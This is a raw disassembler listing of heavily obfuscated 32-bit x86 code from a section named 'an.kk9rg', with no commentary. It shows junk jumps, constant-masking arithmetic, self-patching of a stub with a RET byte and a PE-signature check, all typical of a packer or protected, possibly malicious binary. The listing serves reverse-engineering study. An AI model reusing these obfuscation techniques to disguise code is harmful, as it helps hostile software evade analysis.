sub_10015B5D:loc_1001CB10o call sub_100180C2 push 0D010C0D1h pop edx add edx, 6D77C292h jmp loc_10018DB4 ; --------------------------------------------------------------------------- jns loc_1001A4DA jmp sub_10013150 ; =============== S U B R O U T I N E ======================================= sub_1001BBDA proc near ; CODE XREF: sub_1001A70A:loc_10013B03p ; an.kk9rg:10017FBAj ; FUNCTION CHUNK AT 10014664 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001481C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015113 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015CFD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B115 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B3AD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D5F7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001DD51 SIZE 00000006 BYTES xchg ebx, [esp+0] pop ebx cmp al, 0A4h jz loc_100132DD jmp loc_10015CFD sub_1001BBDA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001BBEB: ; CODE XREF: sub_10018AB1+2FC1j jz loc_10014103 jmp loc_1001C9D6 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- loc_1001BBF6: ; CODE XREF: an.kk9rg:loc_1001B30Bj or eax, 0EBDFA5B5h xor eax, 8A1B2870h add eax, ebp add eax, 8E1B6837h mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_10018851 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001BC14: ; CODE XREF: sub_10016D66-32BEj jge loc_10017294 xor edx, 0F458BE58h loc_1001BC20: ; CODE XREF: an.kk9rg:loc_10014E54j push 0CA61930Bh xchg ecx, [esp+4+var_4] mov eax, ecx pop ecx sub eax, 6851605Ch jmp loc_10017D0A ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_1001BC36: ; CODE XREF: sub_10013310+1j mov ecx, ebp xchg ecx, [esp+4+var_4] mov ebp, esp add esp, 0FFFFFFECh jmp loc_1001AC88 ; END OF FUNCTION CHUNK FOR sub_10013310 ; --------------------------------------------------------------------------- loc_1001BC45: ; CODE XREF: an.kk9rg:loc_10013FF4j push edx call sub_1001A024 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001BC4B: ; CODE XREF: sub_10013389:loc_10018C2Aj push 94AC981Eh pop eax and eax, 0C173B3EBh xor eax, 0C0698A31h jmp loc_1001A63C ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E66 loc_1001BC62: ; CODE XREF: sub_10014E66+5AECj jz loc_10016E0F jmp loc_10017519 ; END OF FUNCTION CHUNK FOR sub_10014E66 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001BC6E: ; CODE XREF: sub_10019409-52A4j pushf push 9C3666F5h pop eax sub eax, 0BE15761Ah jmp loc_10015A88 ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_1001BC80 proc near ; DATA XREF: sub_10013BB8+5A26o ; FUNCTION CHUNK AT 100144CA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100176A0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10017D5E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10018407 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001B654 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001C986 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001DD57 SIZE 00000005 BYTES mov [ebp+eax-100h], dl inc dword ptr [ebp-108h] inc dword ptr [ebp-104h] jmp loc_1001C986 sub_1001BC80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_1001BC98 dd 380377E7h ; DATA XREF: sub_1001533A+7w ; sub_10018AB1:loc_1001BA64r dword_1001BC9C dd 77E75CB5h ; DATA XREF: sub_1001B20F-820Cr ; sub_10016A1B+1472r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_1001BCA0: ; CODE XREF: sub_10015B1B+Aj jmp loc_1001DCA2 ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- loc_1001BCA5: ; CODE XREF: an.kk9rg:10014CB1j jmp locret_10016293 ; --------------------------------------------------------------------------- dw 5EC1h dword_1001BCAC dd 2 ; DATA XREF: sub_100142E8+72r ; sub_100136D7+35DBr ... dd 3 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h, 40h dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h dd 40h, 2 dup(1), 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 401h, 4 dup(2), 0C0h, 40h, 0 dd 23h dup(1), 2 dup(2), 4 dup(0) dd 40h, 42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h dd 42h, 2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1) dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h) dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h) dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h dd 0A00h, 60h, 1A00h, 4 dup(1), 0 dd 1, 2 dup(0) dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001C0AC: ; CODE XREF: sub_10017CF8+Cj jmp loc_10013A97 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001C0B1: ; CODE XREF: sub_10019409-5E16j jmp loc_1001687D ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C87 loc_1001C0B6: ; CODE XREF: sub_10019C87-6AECj jmp loc_1001D5C0 ; END OF FUNCTION CHUNK FOR sub_10019C87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A2CC loc_1001C0BB: ; CODE XREF: sub_10016734:loc_10017C91j ; sub_1001A2CC+11j jnz loc_100132E2 jmp loc_1001360F ; END OF FUNCTION CHUNK FOR sub_1001A2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001620D loc_1001C0C6: ; CODE XREF: sub_1001620D:loc_100135B6j add eax, [ebp-4] mov [ebp-0Ch], eax loc_1001C0CC: ; CODE XREF: sub_10015353+2j ; sub_100141E3:loc_10019C4Fj ... mov eax, [ebp-0Ch] mov esp, ebp push offset loc_1001CE11 jmp loc_10018519 ; END OF FUNCTION CHUNK FOR sub_1001620D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001C0DB: ; CODE XREF: sub_100180C2+290Dj push ecx mov esp, ebp call sub_10017811 loc_1001C0E3: ; CODE XREF: sub_1001504E+75C5j sub esi, ecx jnb loc_10019419 sbb esi, 9AB033B2h cmp ebp, edi jmp loc_1001DB6E ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_1001C0F8: ; CODE XREF: sub_10018E79+221j jnz loc_1001610B jmp loc_10017AC2 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test eax, eax jnz loc_1001722C jmp loc_10018DC8 ; --------------------------------------------------------------------------- loc_1001C111: ; CODE XREF: an.kk9rg:10014058j rol edx, 0Eh jnb loc_10019F53 sbb ebx, ecx jnp loc_1001D46B xchg edx, ebp jmp loc_1001686F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C34 loc_1001C129: ; CODE XREF: sub_10019C34-275Fj ; an.kk9rg:1001BAA3j sub ecx, 0A2B7BE6Fh add ecx, 6F78DF60h add ecx, ebp add ecx, 0F10180A8h mov [ecx], eax xchg ebp, [esp-4+arg_0] mov ecx, ebp jmp loc_10018B1C ; END OF FUNCTION CHUNK FOR sub_10019C34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001C149: ; CODE XREF: sub_100136D7+7961j jz loc_1001372F jmp loc_1001D776 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- rol ebx, 15h jmp sub_1001620D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001C15D: ; CODE XREF: sub_10018AB1-49A4j jmp loc_10013133 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- loc_1001C162: ; CODE XREF: an.kk9rg:loc_10015585j add eax, ebp add eax, 6BFBB22Ah mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001C4A9 jmp loc_10018B0A ; --------------------------------------------------------------------------- test esi, 44910784h jmp loc_10018C70 ; =============== S U B R O U T I N E ======================================= sub_1001C185 proc near ; CODE XREF: sub_100188BE+3p ; an.kk9rg:1001A065j arg_0 = dword ptr 4 xchg ecx, [esp+0] pop ecx xchg eax, [esp-4+arg_0] mov ebp, esp push ecx mov [ebp-4], eax call sub_10017A58 sub_1001C185 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001536A loc_1001C197: ; CODE XREF: sub_1001536A+75E9j jmp loc_10017588 ; END OF FUNCTION CHUNK FOR sub_1001536A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016FA0 loc_1001C19C: ; CODE XREF: sub_10016FA0+10j jmp loc_1001D7BE ; END OF FUNCTION CHUNK FOR sub_10016FA0 ; --------------------------------------------------------------------------- loc_1001C1A1: ; CODE XREF: an.kk9rg:loc_1001C4DBj jnz loc_100144DD jmp loc_10015D99 ; --------------------------------------------------------------------------- loc_1001C1AC: ; CODE XREF: an.kk9rg:10019977j jz loc_1001D9D6 jmp loc_1001300A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001C1B7: ; CODE XREF: sub_10018066:loc_10017FA8j add ecx, edi popf jmp loc_1001B00C ; END OF FUNCTION CHUNK FOR sub_10018066 ; =============== S U B R O U T I N E ======================================= sub_1001C1BF proc near ; DATA XREF: sub_10013389+4237o ; FUNCTION CHUNK AT 1001B2B4 SIZE 0000000B BYTES add edi, 0FF1C002h xchg edi, [esp+0] jmp loc_1001B2B4 sub_1001C1BF endp ; --------------------------------------------------------------------------- add esi, 0BD1C5C11h jmp sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001C1D8: ; CODE XREF: sub_10016734+1B08j cdq xor ebx, edx jmp loc_10017C91 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- loc_1001C1E0: ; CODE XREF: an.kk9rg:loc_10017509j sub esi, 0BB51B094h add esi, 83196E03h loc_1001C1EC: ; CODE XREF: an.kk9rg:10015606j xchg esi, [esp] jmp sub_100181E1 ; --------------------------------------------------------------------------- loc_1001C1F4: ; CODE XREF: an.kk9rg:10018623j not edi mov edx, [ecx] and eax, ebp ror edi, 11h ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001C1FD: ; CODE XREF: sub_10016167:loc_1001AD36j jmp loc_10016521 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- mov [edi], eax jmp sub_1001504E ; --------------------------------------------------------------------------- loc_1001C209: ; DATA XREF: sub_10013389:loc_10017D9Do inc ds:dword_10018608 lea eax, nullsub_9 mov byte ptr [eax], 0C3h call nullsub_12 push edi jmp loc_1001AF08 ; --------------------------------------------------------------------------- loc_1001C223: ; CODE XREF: an.kk9rg:1001D8CEj adc ebp, 0C44E82BEh mov [ecx], esi loc_1001C22B: ; CODE XREF: an.kk9rg:1001D8BDj add ebx, 46CA4F99h mov [ebx], eax ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_1001C233: ; CODE XREF: sub_1001B096:loc_10016CDFj jmp loc_1001CBC5 ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- loc_1001C238: ; CODE XREF: an.kk9rg:loc_10014A4Fj jz loc_1001A1EF jge loc_10019F76 jmp loc_1001A1ED ; --------------------------------------------------------------------------- loc_1001C249: ; CODE XREF: an.kk9rg:100166E9j rol esi, 6 jb loc_10015441 ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_1001C252: ; CODE XREF: sub_1001D951:loc_100166D2j add edi, 0D10CFCB2h xchg edi, [esp+0] jmp loc_10014BD2 ; END OF FUNCTION CHUNK FOR sub_1001D951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001C260: ; CODE XREF: sub_10016167:loc_1001AD0Bj push offset sub_1001685A jmp nullsub_94 ; END OF FUNCTION CHUNK FOR sub_10016167 ; =============== S U B R O U T I N E ======================================= sub_1001C26A proc near ; CODE XREF: an.kk9rg:1001523Bj ; sub_1001BB87+8p ; FUNCTION CHUNK AT 10013871 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 100141CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015CD5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015D37 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10017B75 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10019223 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A732 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B310 SIZE 00000009 BYTES xchg edx, [esp+0] pop edx push ecx mov esp, ebp pop ebp mov eax, ds:dword_1001D748 jmp loc_10015CD5 sub_1001C26A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001C27D proc near ; CODE XREF: an.kk9rg:1001447Ej ; sub_10016A1B:loc_10017C15p arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx add edx, 0CD119ADCh xchg edx, [esp-4+arg_0] jmp nullsub_89 sub_1001C27D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001C28F proc near ; DATA XREF: sub_1001A70A-1C9Do ; FUNCTION CHUNK AT 10014258 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 10015128 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10017D4A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10018810 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10018D15 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019DBB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001B1A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C3F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D494 SIZE 00000005 BYTES xchg ecx, [esp+0] mov edi, ecx loc_1001C294: ; CODE XREF: an.kk9rg:loc_1001A704j pop ecx add edi, 606BEFB0h rol edi, 0Ch xor edi, 0C17C148Eh jmp loc_10017D4A sub_1001C28F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001C2A9 proc near ; CODE XREF: an.kk9rg:10014ADEj ; sub_1001A97E:loc_1001916Fp ; FUNCTION CHUNK AT 10017B88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001994D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B12B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001B15C SIZE 0000003F BYTES ; FUNCTION CHUNK AT 1001D433 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001D45C SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push 8937FA86h pop eax or eax, 0E3766900h loc_1001C2B9: ; CODE XREF: an.kk9rg:loc_100189D1j sub eax, 5F2B2AA8h jmp loc_10017B88 sub_1001C2A9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001C2C4: ; CODE XREF: sub_100188EE:loc_10018B0Fj sub esi, ecx jmp loc_1001CAE1 ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- loc_1001C2CB: ; CODE XREF: an.kk9rg:loc_10015C42j push offset sub_1001B4CC jmp loc_10014FF7 ; --------------------------------------------------------------------------- loc_1001C2D5: ; CODE XREF: an.kk9rg:100185B9j mov edx, [ebp+0] ; =============== S U B R O U T I N E ======================================= sub_1001C2D8 proc near ; CODE XREF: sub_10018066-A28p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014282 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10014595 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10014DF9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 100157CB SIZE 00000019 BYTES ; FUNCTION CHUNK AT 100158C6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10015D8F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015E68 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10015F5F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001609C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10018578 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100185BE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018656 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10018DB9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100192CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A488 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001ABF0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001AD55 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B0E0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B777 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001BACE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C9C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CCE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DC6B SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx imul byte ptr [edx] cmp al, 0A4h jz loc_1001ABF0 jmp loc_100185BE sub_1001C2D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001C2EB: ; CODE XREF: sub_1001A97E:loc_1001C48Cj not ecx jmp loc_1001976C ; END OF FUNCTION CHUNK FOR sub_1001A97E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001C2F3: ; CODE XREF: an.kk9rg:10019673j jnz loc_100184D6 or ecx, esi jmp sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001C300: ; CODE XREF: sub_1001ABFD-16FBj jz loc_1001D0ED jmp loc_1001AC9B ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- loc_1001C30B: ; CODE XREF: an.kk9rg:100132B0j add eax, 3BBFC54Fh sub ebp, 0ED98158Ch not edx jmp loc_1001C5BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A76 loc_1001C31E: ; CODE XREF: sub_10014A76:loc_1001826Ej cmp dword ptr [eax], 4550h jnz loc_1001B00C jmp loc_100149A4 ; END OF FUNCTION CHUNK FOR sub_10014A76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001C32F: ; CODE XREF: sub_100193F2-485Aj jno loc_1001A589 jmp loc_100188DA ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001C33A: ; CODE XREF: sub_10015D9E:loc_1001B1F0j cmp eax, 88262A84h jmp loc_100195EE ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- push eax ror eax, 0Fh push offset sub_10015EBE jmp loc_100180F5 ; --------------------------------------------------------------------------- loc_1001C353: ; CODE XREF: an.kk9rg:10017E2Fj and ebp, ecx jge loc_1001A665 pop ebx ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_1001C35C: ; CODE XREF: sub_10016D04-3239j and eax, 1C54949Dh xor eax, 0C19507CBh jmp loc_1001A4C7 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_1001C36D: ; CODE XREF: sub_1001679F:loc_10013AF2j xchg ebp, [esp+0] call sub_100174F4 retn ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- loc_1001C376: ; CODE XREF: an.kk9rg:1001BB1Fj jmp loc_100178B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001C37B: ; CODE XREF: sub_10015D9E+2FBFj jmp loc_100167B4 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001C380 proc near ; DATA XREF: sub_100180C2+241o push ebp mov ebp, esp push ecx push ebp push 0FA3FC791h jmp loc_10015C38 sub_1001C380 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001C38F: ; CODE XREF: sub_10013688+5B45j jg loc_10015A30 jmp loc_100165C9 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- loc_1001C39A: ; CODE XREF: an.kk9rg:100139DDj sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_100165C9 jmp loc_10018415 ; =============== S U B R O U T I N E ======================================= sub_1001C3AE proc near ; CODE XREF: an.kk9rg:1001759Cj ; an.kk9rg:1001A75Ap xchg edi, [esp+0] pop edi push 0B33EDF99h sub_1001C3AE endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C3B7: ; CODE XREF: sub_10013389:loc_10019C7Aj pop esi add esi, 0DE62BE8Dh and esi, 70BC45DDh jmp loc_10017C24 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C34 loc_1001C3C9: ; CODE XREF: sub_10019C34:loc_10017DBEj push 0B8FFDBE6h pop ecx sub ecx, 0FEA621E5h add ecx, 0A409883Ch jns loc_100174D2 loc_1001C3E1: ; CODE XREF: sub_1001D1DB+16j jmp loc_1001CBEB ; END OF FUNCTION CHUNK FOR sub_10019C34 ; --------------------------------------------------------------------------- popf jmp loc_1001DEDC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_1001C3ED: ; CODE XREF: sub_10013044+9533j jmp nullsub_107 ; END OF FUNCTION CHUNK FOR sub_10013044 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_1001C3F2: ; CODE XREF: sub_1001C28F-8012j jmp loc_10015128 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016C77 loc_1001C3F7: ; CODE XREF: sub_10016C77-3A89j jmp loc_1001DBF1 ; END OF FUNCTION CHUNK FOR sub_10016C77 ; --------------------------------------------------------------------------- or esi, 0E3CB74F6h adc esi, ebx jmp sub_10019C87 ; --------------------------------------------------------------------------- loc_1001C409: ; CODE XREF: an.kk9rg:1001D31Bj not ebp pushf sub ecx, ebx ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C40E: ; CODE XREF: sub_10013389+3192j sub edx, ds:100000C0h push offset sub_100156CB jmp loc_10014BCD ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001C41E: ; CODE XREF: an.kk9rg:loc_1001DD3Bj xchg ecx, [esp] mov ebp, esp push ebx mov ebx, ecx jmp loc_10016132 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019A95 loc_1001C42B: ; CODE XREF: sub_10019A95:loc_1001B8C7j push esi push 330AE7D4h pop esi and esi, 6CBFB415h xor esi, 0B2B4BEC4h add esi, ebp add esi, 6D41E52Ch mov [esi], eax jmp loc_10014065 ; END OF FUNCTION CHUNK FOR sub_10019A95 ; =============== S U B R O U T I N E ======================================= sub_1001C44D proc near ; DATA XREF: sub_10013389:loc_1001547Ao ror eax, 8 mov ds:dword_1001B750, eax retn sub_1001C44D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_1001C457: ; CODE XREF: sub_10014A06+2FA6j rol eax, 8 push eax call sub_100174F4 jmp loc_10018DFE ; END OF FUNCTION CHUNK FOR sub_10014A06 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001C466: ; CODE XREF: an.kk9rg:1001659Cj ; an.kk9rg:loc_10017BCFj jmp loc_10015BCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C46B: ; CODE XREF: sub_10013389:loc_1001DA37j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h call sub_100198E6 ; END OF FUNCTION CHUNK FOR sub_10013389 ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001C47A: ; CODE XREF: sub_10018C4D+2B87j jmp nullsub_104 ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- loc_1001C47F: ; CODE XREF: an.kk9rg:10019A03j jmp loc_1001683F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001C484: ; CODE XREF: sub_1001C6B0:loc_100143EAj ; an.kk9rg:loc_100151A8j ... jmp loc_10014364 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_1001C489: ; CODE XREF: sub_10015E0D-799j ; an.kk9rg:10018CEDj ... pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001C48C: ; CODE XREF: sub_1001A97E+1104j jmp loc_1001C2EB ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001C491: ; CODE XREF: sub_1001B5A3-55FDj jmp loc_1001334E ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- push ecx mov ecx, ebp jmp loc_1001DD3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001C49E: ; CODE XREF: sub_10016D66+43A4j adc edx, 5E9190A2h loc_1001C4A4: ; CODE XREF: an.kk9rg:10014147j ; sub_1001B096:loc_10014197j ... jmp loc_1001779D ; --------------------------------------------------------------------------- loc_1001C4A9: ; CODE XREF: sub_10016D66+2073j ; an.kk9rg:1001C16Fj pop ecx pop ebp jmp loc_10014F84 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- loc_1001C4B0: ; CODE XREF: an.kk9rg:10014DC9j mov [ebp+0], ebx push 0A854AF84h ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001C4B8: ; CODE XREF: sub_10019571:loc_10014DB8j xor eax, 71801098h call sub_100181E1 jmp sub_1001CD85 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_1001C4C8: ; CODE XREF: sub_10015C77:loc_1001983Dj adc edi, ebx jmp loc_1001648C ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- not edi jmp sub_1001B096 ; --------------------------------------------------------------------------- loc_1001C4D6: ; CODE XREF: an.kk9rg:loc_1001CC07j call sub_10017643 loc_1001C4DB: ; CODE XREF: an.kk9rg:100170E1j jmp loc_1001C1A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001C4E0: ; CODE XREF: sub_10016167-459j jmp loc_10015229 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BA9 loc_1001C4E5: ; CODE XREF: sub_10015BA9+1j jmp loc_10019683 ; END OF FUNCTION CHUNK FOR sub_10015BA9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_1001C4EB proc near ; CODE XREF: sub_10013389+1540p ; an.kk9rg:10014D40j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001A75F SIZE 00000005 BYTES xchg esi, [esp+0] pop esi 